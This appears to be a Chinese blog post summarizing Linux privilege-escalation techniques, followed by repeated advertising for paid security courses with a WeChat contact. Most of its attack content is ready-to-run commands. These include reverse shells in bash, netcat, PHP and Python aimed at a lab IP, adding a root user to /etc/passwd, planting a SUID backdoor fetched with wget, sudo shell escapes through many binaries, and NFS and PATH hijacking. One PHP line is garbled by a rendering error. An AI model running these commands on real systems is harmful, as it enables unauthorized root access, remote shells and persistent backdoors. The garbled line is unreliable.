linux 提权总结_linux提权,字节跳动网络安全面试凉凉经

如何查找?

find / -perm -u=s -type f 2>/dev/null

(1)通过find

find test -exec “whoami” ;

可用于反弹shell

bash -ip >& /dev/tcp/192.168.56.141/5555 0>&1
sh -ip >& /dev/tcp/192.168.56.141/5555 0>&1

有netcat:

nc 192.168.56.141 5555 -e /bin/bash

有php:

php -r ‘KaTeX parse error: Expected 'EOF', got '&' at position 57: …c("/bin/sh -i <&̲3 >&3 2>&3");' …sock=fsockopen(“192.168.56.141”,5555);exec(“/bin/bash -i 0>&3 1>&3 2>&3”);’

需要注意的是,php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。

有python:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.56.141”,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’

普通用户反弹

带suid的find命令反弹

find /bin/bash -exec bash -ip >& /dev/tcp/192.168.56.141/5555 0>&1 ;

-ip表示以特权模式启动的一个交互式shell

(2)cp

利用openssl生成密码

openssl passwd -1 -salt 114154 cmd114514

将/etc/passwd文件复制到当前目录,添加用户,并且添加密码

上面添加了aaa用户,但是用户id为0,表示root权限

之后复制修改后的passwd到原位置,su aaa一下,发现是root权限

非suid的cp则修改后无法复制到/etc目录下

(3)vim

如果获取普通用户权限,知道这个用户的密码并且无法sudo bash,可以直接修改/etc/sudoers文件

这样sudo bash/sudo su可直接获取一个root权限的shell

也可以尝试用John the Ripper爆破shadow文件

因为从 Debian 11 / bullseye 系统 (适用于Kali)开始, 默认的密码哈希函数使用 yescrypt 。
因此之前 John the Ripper 的命令将无法再运行

会爆出No password hashes loaded的错误

可以尝试添加     –format=crypt   的参数

比如

john --format=crypt file

查看已经爆破出的密码

john --show file

(4)编写脚本留下后门

然后vps 利用python开启一个简单的http服务

python -m SimpleHTTPServer 7777
或者
python -m http.server 2333

目标机

wget http://your_vps:7777/well

然后 gcc一下

建议脚本编译在目标机器中,否则可能出现无法运行的情况

简单来说就是获取root权限后,可以赋予二进制文件suid属性,并且chmod 777

再次获取权限为www-data用户

运行后门脚本变为root权限

参考

GTFOBins

二.sudo 提权

1.sudo是以root权限去运行一个命令,且不需要知道root用户的密码,只需要知道本用户的密码(su则是切换用户,su root需要知道root用户的密码)

当知道用户密码,但无法 sudo bash或者sudo su的时候,可以尝试用其他命令提权

sudo -l查看当前用户可以以sudo运行的命令或者二进制文件

2./etc/sudoers是关于sudo的配置文件,当用户运行sudo命令的时候系统就回去配置文件中查看是否可以运行相关命令

1.sodu vim

当visudo被禁用,可以尝试 sudo vim /etc/sudoers是否可以修改配置文件,从而达到可以sudo su,或者sudo bash的目标

2.git

当 sudo允许执行git命令的时候,可利用

sudo git help config
然后输入
!/bin/bash

sudo git -p help
!/bin/bash

3.find 提权

此时无法执行

执行

sudo find / -exec bash ;

此时find无suid权限,但是可以sudo提权

4.perl

-e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash.

sudo perl -e ‘exec bash’
sudo perl -e ‘exec “/bin/bash”;’

5.python

pty(伪终端库)    pty.spawn生成一个进程

sudo python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

6.less

less以root权限浏览文件内容时

sudo less test

其后输入

!bash

获取root shell

7.awk

sudo awk ‘BEGIN {system(“/bin/bash”)}’

8.man

sudo man man

依然是输入!bash

9.vim,vi

sudo vi/vim

进入编辑界面后 !bash

10.如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去

例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可。

11.env

sudo env /bin/bash

12.ftp

sudo ftp
!bash

13.socat/netcat

先插入netcat的用法:

netcat -e选择指定程序,有些机器上出于安全考虑无-e选项

运行-e的机器上为靶机

比如正向shell:

靶机:

nc -lvvp 4444 -e /bin/bash

攻击机

nc ip port

反向shell:

攻击机监听:

nc -lvvp 4444

靶机:

nc -e /bin/bash ip port

当无法-e(反弹shell)的时候:

在攻击机上监听两个端口,例如4444,5555

靶机上执行

nc 192.168.56.141 4444| /bin/bash |nc 192.168.56.141 5555

使得在攻击机4444端口输入的命令可以在5555端口上回显

root权限执行在所有命令前加sudo 就好

14.cp/scp

scp是一个安全复制文件的命令

提权用法与suid相似

如果sudo设置了黑名单,比如不让用sudo find

由于cp无法直接生成一个shell,但是可以sudo cp将find命令复制到其他路径,再sudo find获得root  shell

如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其它目录运行。

三.nfs配置不当提权

NFS是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享。

攻击机查看:

发现有可以来自所有主机连接的/home目录挂载(且攻击机可以以root身份访问nfs)
1.

目的是攻击机以root身份访问挂载目录,传入bash,并且赋予suid(root)权限

首先将攻击机权限提升至root

挂载空目录

mount -t nfs 192.168.56.130:/home /tmp/test

传入bash

cp /bin/bash /tmp/test/rneck

来到目录,赋予bash suid权限

chmod u+s bash

这里我kali传入的bash在ubuntu上无法运行,所以选择了在靶机上先往nfs目录种传入bash,攻击机kali chown,chmod一下就OK了

回到靶机,提权成功

重点是可以以root身份赋予二进制(命令)文件suid权限,这样机器上的目标用户就可以提权

发挥想象力…除了搬bash利用方式还有很多…

四.利用path环境变量进行提权

上演一手移花接木

假设拿到了某台机子的普通用户权限,但是有suid权限的命令不好直接利用,sudo又不知道密码,shadow利用John the Ripper也破解不出密码。那就可以全局搜索一下某些运维程序/文件是否有suid(root属主)权限,如果有的话,可以查看文件看看调用了哪些命令,然后就可以在环境变量里面做些手脚提权。

比如桌面上有一运维文件,属主root,有suid权限

echo “/bin/bash” > ps

运行后是执行了ps命令

此时在/tmp目录下创建ps文件,并且将 /bin/bash 写入

echo “/bin/bash” > ps

chmod 777 ps一下

export PATH=/tmp:$PATH

在环境变量中导入/tmp这个路径,这样系统在寻找ps命令的时候就会优先在/tmp目录下寻找

echo $PATH

或者创建符号链接

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-40J5wre4-1712672375867)]

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-Yk2TUjEY-1712672375867)]

  • 28
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值